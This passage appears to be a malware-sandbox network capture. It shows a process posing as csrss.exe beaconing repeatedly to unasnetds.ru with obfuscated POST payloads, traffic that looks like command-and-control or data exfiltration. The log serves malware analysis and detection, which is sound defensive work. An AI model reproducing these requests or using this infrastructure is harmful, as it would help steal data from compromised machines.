Jan 3, 2025 11:47:57.863734961 CET	1040	OUT	Data Raw: 5f 51 5b 5e 5d 52 55 50 5a 5d 59 57 59 58 5b 53 5f 5b 54 5d 50 5a 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q[^]RUPZ]YWYX[S_[T]PZ[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$X./6T5+4'Y';]?*+#2.=R4?"%(+> \'%^.8
Jan 3, 2025 11:47:58.126538038 CET	804	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MhzXQPCQ3PHYmomoumdTDcgUK8WuFAsM1yPX1Ozns3P765yCiB27QPT%2FeWEGnJY4ND2CQD9sAGhDDSq47Jn2TGRM7nHT%2BnD3sP%2F8bB6lJwuRYnI%2FnmUsMZ7B7xYIhNY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269ea5c430cb0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4755&min_rtt=1581&rtt_var=5885&sent=7&recv=10&lost=0&retrans=0&sent_bytes=993&recv_bytes=3438&delivery_rate=1760096&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	51635	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:58.257724047 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:47:58.612122059 CET	1040	OUT	Data Raw: 5a 5c 5b 5e 58 5c 55 51 5a 5d 59 57 59 5b 5b 5a 5f 51 54 58 50 5a 5b 5a 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\[^X\UQZ]YWY[[Z_QTXPZ[ZZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$.)6;0#'X'>+Z(]>+&! /&Y;<,-) \'%^.4
Jan 3, 2025 11:47:58.701595068 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:58.960823059 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yFkJ4All%2BGZ3AvYLTQffi24Y7T3fBiBm8KKFYSsW3Bk2DlZv93O3YoIJQOmH%2BCow%2FTcwF7UEpwto2vpWxbOEQ0DE25Ut76E1PvD1zFDd2mwo3Vsz7YKI00cKb60TX8o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269ef9a900f4a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1967&min_rtt=1652&rtt_var=1251&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=349449&cwnd=175&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	51641	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:47:59.081615925 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:47:59.442677021 CET	1040	OUT	Data Raw: 5a 53 5b 50 5d 59 55 5d 5a 5d 59 57 59 58 5b 52 5f 5a 54 5d 50 5e 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZS[P]YU]Z]YWYX[R_ZT]P^[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Y:=5;(# '33\?8)[+#V&>"#P%,8?,%) \'%^.8
Jan 3, 2025 11:47:59.553348064 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:47:59.725243092 CET	802	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:47:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aiaxNpbKz1%2BtZfNmLgd5ZQLgL6NTJo%2FwaaDCdFhlRussjd5wOwyOyDjh3N9s9wv%2BQQYRu6wFl4%2F%2Fgdbvw9NMDRz6WCMiLXpCx7Ybm82LqBtjzw0BeuSiAPhJ81mUj08%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269f4e93a435e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3446&min_rtt=1619&rtt_var=4261&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=89918&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	51652	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:00.141330957 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:00.487134933 CET	1032	OUT	Data Raw: 5a 54 5e 5b 58 58 50 5b 5a 5d 59 57 59 5e 5b 57 5f 56 54 5e 50 59 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT^[XXP[Z]YWY^[W_VT^PY[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'->T";'U43X0='X+;9_('= &%<0^(?6= \'%^.0
Jan 3, 2025 11:48:00.583189964 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:00.758868933 CET	807	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7INt0KPYp%2BNYspmYRWeNYaJS7Aikr%2FW9rCyWhMzhwYNsB%2BrldaCfy%2BdoxUpUD3RisUpFA2kMc38FR6o7k4%2FhZ8GP%2BqlVhMGaIj%2BFj7YDzvN3jdpJ2RLLv4Iq260UDl4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc269fb6c4643a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2890&min_rtt=1612&rtt_var=3161&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=123300&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	51655	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:00.882297039 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:01.237214088 CET	1032	OUT	Data Raw: 5f 55 5b 5c 5d 5e 55 5e 5a 5d 59 57 59 5e 5b 5b 5f 52 54 59 50 58 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _U[\]^U^Z]YWY^[[_RTYPX[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$:?-"(/ #Y$+;9()(1[9U7*1 \+Z"\=> \'%^.
Jan 3, 2025 11:48:01.346244097 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:01.610115051 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QiT5O%2FUlHAXIX%2BEitg0V3BMeOTqFxvUS0XjXg2ertZ2v9lgS5Z71Hr9nlaIMCLj6Acq3LEdjZLMCLgfYqe6Xq8dbGIwFoHe7YdGz1zW%2BEkgyLGP4yKO5zoU1Ixpr%2FVI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a0028d65e6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4074&min_rtt=1984&rtt_var=4924&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1377&delivery_rate=78058&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	51663	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:01.740156889 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:02.096704960 CET	1040	OUT	Data Raw: 5a 5d 5b 5b 58 5b 50 5c 5a 5d 59 57 59 57 5b 50 5f 5a 54 59 50 5f 5b 5d 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z][[X[P\Z]YWYW[P_ZTYP_[]Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$96W#;+T!#8$'<]!+_#&!T"?=&??/)*. \'%^.
Jan 3, 2025 11:48:02.183983088 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:02.454464912 CET	799	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ML7pEttNID0feO%2F6FyQPHmy5sUSJYBdFOwgoHBz0dQgh0SvSVLIHCFqWiyPSlNABGAu3kPfr6Hkb0bGhNCKt7paEmJPzm8X5S%2BkpQx07pp9UP81S2wVNnNosM5%2BC2iw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a05698542b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2262&min_rtt=1699&rtt_var=1763&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=235369&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	51670	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:02.609323025 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	51671	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:02.928242922 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:03.159620047 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:03.196528912 CET	1756	OUT	Data Raw: 5a 53 5b 50 5d 5c 50 5c 5a 5d 59 57 59 58 5b 56 5f 51 54 55 50 5e 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZS[P]\P\Z]YWYX[V_QTUP^[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]:5!0,3>?;=[+9/P&[9S#/'/+(*\= \'%^.8
Jan 3, 2025 11:48:03.547877073 CET	950	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B%2F9SyJ5D%2FBWTSVycVysZyMv3RID6ioOgOpvEBao3IGSQtkbLKVz2UCN2svd6FgPZqevHZ6F3tj7kZT5Eqj7qD9Cs4uv8ZWHPo30oemP9zyN3XjBTds69%2BMnV394txUE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a0b7cf6c32c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3220&min_rtt=1622&rtt_var=3806&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2101&delivery_rate=101297&cwnd=170&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 22 05 34 3e 20 05 30 39 2b 1d 27 03 2d 1b 22 34 22 16 2d 39 2a 05 33 05 38 0f 29 3a 3f 53 24 3c 3d 1d 3e 38 3d 57 31 05 2e 07 25 29 2e 59 0d 11 38 5d 2b 12 30 0d 3e 00 33 09 29 2f 3f 18 30 3f 3c 12 2a 3b 2c 02 3c 0c 24 1f 20 06 3d 51 3e 1f 2d 1f 2b 34 32 05 29 0b 2b 10 26 0f 2c 5e 0b 12 24 54 28 08 2d 57 23 0f 36 06 25 03 34 04 30 14 27 1d 22 1d 2b 0d 27 15 34 1a 2f 1c 00 0a 27 37 2c 5e 3d 38 0d 04 23 3b 3e 52 2b 3d 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98"4> 09+'-"4"-938):?S$<=>8=W1.%).Y8]+0>3)/?0?<;,<$ =Q>-+42)+&,^$T(-W#6%40'"+'4/'7,^=8#;>R+='P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	51677	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:03.704041958 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:04.049876928 CET	1040	OUT	Data Raw: 5f 56 5e 59 58 58 50 5c 5a 5d 59 57 59 5c 5b 55 5f 53 54 59 50 5d 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V^YXXP\Z]YWY\[U_STYP][\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$Z9<.!],#Y0>Y>8><8%- %X?=). \'%^.(
Jan 3, 2025 11:48:04.155430079 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:04.411863089 CET	802	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pfk4NSQnQQ37xo0PPh5MAdy9JzgsshImCimTPgNQ9IqmVItuqwYQLwfygO8O71arQo%2BrsH9xuSi7c2IYORs%2FWJ4VPbN7i0xe%2BiP9kama%2FvREmg2fodPfyLLd%2BUAhuQs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a11ade54205-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4304&min_rtt=1802&rtt_var=5681&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=66895&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	51683	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:04.539943933 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:04.893436909 CET	1040	OUT	Data Raw: 5f 51 5b 58 5d 58 55 5a 5a 5d 59 57 59 58 5b 51 5f 5a 54 5a 50 55 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q[X]XUZZ]YWYX[Q_ZTZPU[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$X-2W"8#/_3X7Z+!**;U%>%V"<"P&$_<9+. \'%^.8
Jan 3, 2025 11:48:05.004123926 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:05.253443003 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NwmP6qj3qVYkoWfYCJYSXcsi0YwpPHfzAal%2F73lgHnad%2BhdB8Y%2FWYe7uEtpGUQf6pFYn7kK01KIT2F1jr4H8%2F2rl3Ft8TiXqz7UYGOBO3r6s3uKGbbdwMuefq6oHCvY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a16fc1bc481-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3285&min_rtt=1486&rtt_var=4156&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=91922&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	51689	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:05.440871000 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:05.804691076 CET	1040	OUT	Data Raw: 5f 56 5b 51 5d 5c 55 5d 5a 5d 59 57 59 5b 5b 52 5f 57 54 59 50 5b 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V[Q]\U]Z]YWY[[R_WTYP[[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$]:Y"#($7<3=3(;!?9<2=T7<!2/<,[>> \'%^.4
Jan 3, 2025 11:48:05.908890009 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:06.163309097 CET	806	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QeyvRk3G%2B%2FFhKEzAMeCb6F3Ma%2Ft0AysKGvvT%2FTF%2FbzPTFDCk9pU%2FbhdCF9o1ypMAxVc4u5ndkZGAM9eJz%2FXYBOv7VMumMrIq0qDCsSHPhEseJXU7I4akZ8IHvgarQ5Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26a1ca89d8cd6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4238&min_rtt=2182&rtt_var=4930&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=78368&cwnd=173&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	51695	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:06.289973021 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
